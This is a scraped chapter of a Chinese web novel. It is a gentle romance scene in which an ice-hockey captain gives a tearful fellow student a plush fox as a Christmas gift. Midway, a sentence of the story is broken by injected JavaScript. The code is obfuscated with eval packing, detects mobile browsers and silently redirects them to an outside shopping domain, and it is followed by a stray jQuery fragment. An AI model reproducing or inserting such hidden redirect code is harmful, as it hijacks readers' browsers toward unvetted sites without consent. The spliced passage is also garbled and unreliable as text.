文趣网 > 都市小说 > 在美校回san值的日子 > 8. 圣诞礼物
    两个人一边扔一边打,从酒吧门口的街区打到了空荡荡的街心公园,打到了连天都蒙蒙亮了,周洲扔雪球的速度越来越慢,利亚特接的越来越起劲,但周洲忽然停了,转身就要朝另一边走,步子迈的很大,踩的雪咯吱咯吱响,利亚特跟上去,眉梢挑了一下。

    “怎么?打累了?服软了?能坐下来好好谈谈了吗?”

    “我才不累。”

    周洲把手伸出来,手指被冻得通红,指尖泛着粉,像小胡萝卜:

    “你戴着手套不怕冷,我的手扔雪球都冻僵了,我要去买双手套。”

    利亚特简直被气笑了,他从来没见过这种气全撒别人身上,自己一点苦也不吃的,他看了眼蒙蒙亮的天,嗤了一声:

    “你傻了吗?现在刚天亮,哪会有卖手套的店开着?”

    周洲的步子停了,回过头来看他,整张脸埋在围巾和帽子的阴影里,只露出一双红通通的,湿漉漉的下垂眼,就那么望着利亚特,嘴抿着,不说话。

    利亚特被他看得后背发麻,他偏过头“啧”了一声,把视线从那双眼睛上移开,硬邦邦地甩出一句:

    “我不吃这套,你不要觉得这样看着我就有用。”

    周洲垂下眼睫,看着自己冻的通红的手,已经冻的麻木了,他吸了吸鼻子,又看了眼抱着手臂靠在树上,一副“关我什么事”的表情,明明是利亚特放了鸽子,对方还理直气壮地让他在这挨冻,周洲越想越委屈,鼻子一酸,眼泪啪嗒啪嗒地往下落。

    利亚特听着身后那点吸鼻子的声音,眉头皱起来,他转过头看了一眼,周洲围巾堆到下巴上,帽子压得低低的,只露出红通通的鼻尖和不断往下掉泪珠子的眼眶,像只可怜兮兮的小狗,利亚特把目光移开,不耐地说:

    “你哭吧,哭到天崩地裂也没用。”

    他迈开步子往前走,周洲亦步亦趋地跟了上来,一开始是无声地哭泣,后来变成了小声啜泣,最后声音越来越大,利亚特被哭地心烦意乱,他第一次知道原来哭声也能作为杀伤性武器,他烦躁地捂住耳朵,但那声音却无孔不入地往耳朵里钻,躲都躲不掉,他忍了几步,终于停下来了,猛地转身:

    “你能不能别跟着我了!”

    “谁想跟着你啊!”

    周洲红着眼眶磕磕绊绊的反驳,眼泪还挂在睫毛上,声音抖得不成样子。

    “我是回学校上课!你不想我跟着,也可以打uber走啊。”

    利亚特被周洲堵得哑口无言了一瞬,uber打车贵的要命,打一下车,他的财务状况更是雪上加霜,直接秒变homeless了,他现在连便利店的咖啡都不舍得买,但他实在受不了周洲持续的噪音攻击,可手套是不能给的,给了他就要冻死了。

    利亚特想到小时候自己的妹妹也老是哭,爸爸妈妈通常给个玩具就哄好了,利亚特摩挲了下口袋里的礼物盒,住宿学校探望时间截止了,反正也没法送给妹妹了,自己留着也是没用,不如用来哄下周洲,要他别老是哭唧唧的,吵的他头疼,他冲周洲勾了下手指。

    “你过来,我给你个东西。”

    周洲的眼睛小心翼翼地移到了利亚特手上的棍子上,又顺着移到了利亚特那宽阔的肩膀和肌肉上,周洲咽了咽口水,往后缩了下:

    “你先把棍子丢了。”

    利亚特看着他那副夹着尾巴小心翼翼的样子就觉得笨的要命,叹了口气把木棍提起来啪地一声扔进了花坛深处,然后抱着手臂站在原地,看着周洲跟踩地雷一样谨慎的挪到他身边,慢慢靠近,最后在他一步远的地方停了下来,仰着头摊开泛红的手掌,眼巴巴地望着自己,声音又哑又软:

    “你是要给我手套吗?”

    “没有手套,只有这个。”

    利亚特把礼物颇为不耐地塞进了周洲的怀里,抬了抬下巴,声音硬邦邦的:

    “拿了这个,就不准哭了,听见没。”

    周洲看到礼盒上标着的“圣诞快乐”,眼睛一下就瞪圆了,像被踩到尾巴的猫一样整个人往后缩了缩,围巾堆着遮住了半张脸,只露出一双湿漉漉的下垂眼,他的脑子瞬间下了判断,这一定是个整蛊玩具,他前室友就干过这种事,派对上递给他一个礼物盒,里面弹出一个伸着舌头的恐怖小丑,他被吓地跌坐在地上,彩带糊了他一脸,舍友就和朋友们一起把他当作取乐的玩具。

    利亚特这种无论在任何地方都呼风唤雨的人,怎么可能给一个刚刚把他砸了一脸雪,还又哭又闹的人圣诞礼物,利亚特不把他按进雪地里活埋就算好了。

    礼盒落到周洲手里,丝绒布面贴着掌心,连蝴蝶结都十分精致,完全不像粗制滥造的整蛊玩具,他凑近闻了一下,礼物上面还带着淡淡的香水味,没有一点烟酒气,他捏着礼物的手指一下就收紧了,心跳加速,万众瞩目的利亚特居然真的送给自己圣诞礼物吗?

    他看向靠在树上的利亚特,对方正在一边看手机一边哼歌,对抱着礼物的他毫不在意,周洲有些懊悔刚刚对利亚特过分的揣测,在心里给利亚特小小地道歉。

    垂眸望向怀中的礼物,周洲鼻子酸酸的,这是他留学以来,收到的第一份别人送给他的礼物,还是圣诞礼物,虽然是利亚特这种看起来像犯罪分子,一拳能把他揍到地府的人送的,周洲还是决定将为这份礼物定制一个玻璃柜,放在丝绒布上好好的珍藏起来。

    利亚特倚在树旁,掀了掀眼皮,周洲把这礼物抱的严严实实,丝带都快被捏皱了,就是不拆开看,哭倒是不哭了,噪音停了,但这种行为还是让利亚特不爽地皱眉,他偏过头,蓝眼睛从碎发后面看过来,声音带着点懒洋洋的痞气,尾音微微上挑:

    “你不喜欢?还是打算转头就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909698|213088||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    挂二手网站卖了?”

    周洲猛地摇头,围巾滑落,露出整张脸,湿漉漉的下垂眼恋恋不舍地从礼物上抬起来,撞上利亚特的目光又飞快垂下,睫毛颤了颤:

    “不是的,我很喜欢,谢谢你……”

    他声音越来越小,直到看到利亚特不爽的表情,周洲才后知后觉的意识到,他忘记这里送礼是要当面拆礼物的,他立刻又羞又窘地道歉,手指无措地在丝带上乱摸:

    “对不起,我来这起就没人送过我礼物了,所以我都忘了送礼物是要当面拆的,我现在就拆。”

    周洲打开丝带的方式笨拙又可怜,脸都急红了礼盒才受了点皮外伤,三两下能撕开的包装礼盒,偏要小心翼翼一根丝带的解开,解开的丝带还要展平收到口袋里。

    利亚特看着周洲,从无聊变成好笑,又从好笑变成了说不清的走神,眼前的人确实不起眼,感觉像是走廊里迎面撞到都不会给一个眼神的路人,可这会凑近来看,才发现周洲皮肤白白的,眼睛也很大,睫毛又长又密,鼻子很秀气,嘴巴上还有一颗小小的唇珠,就是笨了点。

    “你这样解解到明天都解不开。”

    利亚特看了半天还是没忍住上手,指尖敲了敲周洲的手背:

    “松手,我来解。”

    “那你要小心一点,不要把纸撕破了。”

    周洲依依不舍地把礼盒递过去。

    利亚特“嗤”了一声没说话,修长的手指勾住丝带的活结轻轻一扯,再顺着折痕把包装纸展开,褪到只剩最后一层雪白的衬纸后,他才放在周洲的掌心:

    “最后一层包装了,你自己拆吧。”

    周洲接过去了礼盒,一点点拆开,利亚特偏过头,舌尖无意识地舔了舔干燥的下唇,手心黏腻腻的,全是汗,他闭上眼,内心暗骂自己是疯了吗,本来只是为了让周洲别吵了才送的,现在还紧张起来了,明明站在冰球决赛的赛场上都能坦然自若,他是学校里的风云人物,冰球队的队长,一呼百应的人气王,送出去的东西就算是块石头周洲也该供在床头,他到底在紧张些什么?

    沉默在两人之间蔓延,利亚特看着周洲低着头,对着玩偶一动不动,反正他只是为了让周洲别闹了,喜不喜欢和他一点关系也没有,利亚特别过脸,冷硬地说:

    “你不喜欢就直接扔……”

    “这也太可爱了吧!”

    利亚特话还没说完,就被打断了,周洲拿起手中圆头圆脑的毛绒藏狐玩偶贴在脸庞,毛茸茸的玩偶把他半张脸都埋了进去,只露出一双弯弯的眼睛,他抱着玩偶又蹦又跳,鼻尖蹭着玩偶的鼻头,嘴边的笑容又灿烂又透着傻气。

    利亚特愣了一下,唇角没忍住的勾起,又在周洲看过来的时候,飞快地抿平,变成以往的冷淡懒散的模样:

    “真是好哄,一个小娃娃就高兴成这样”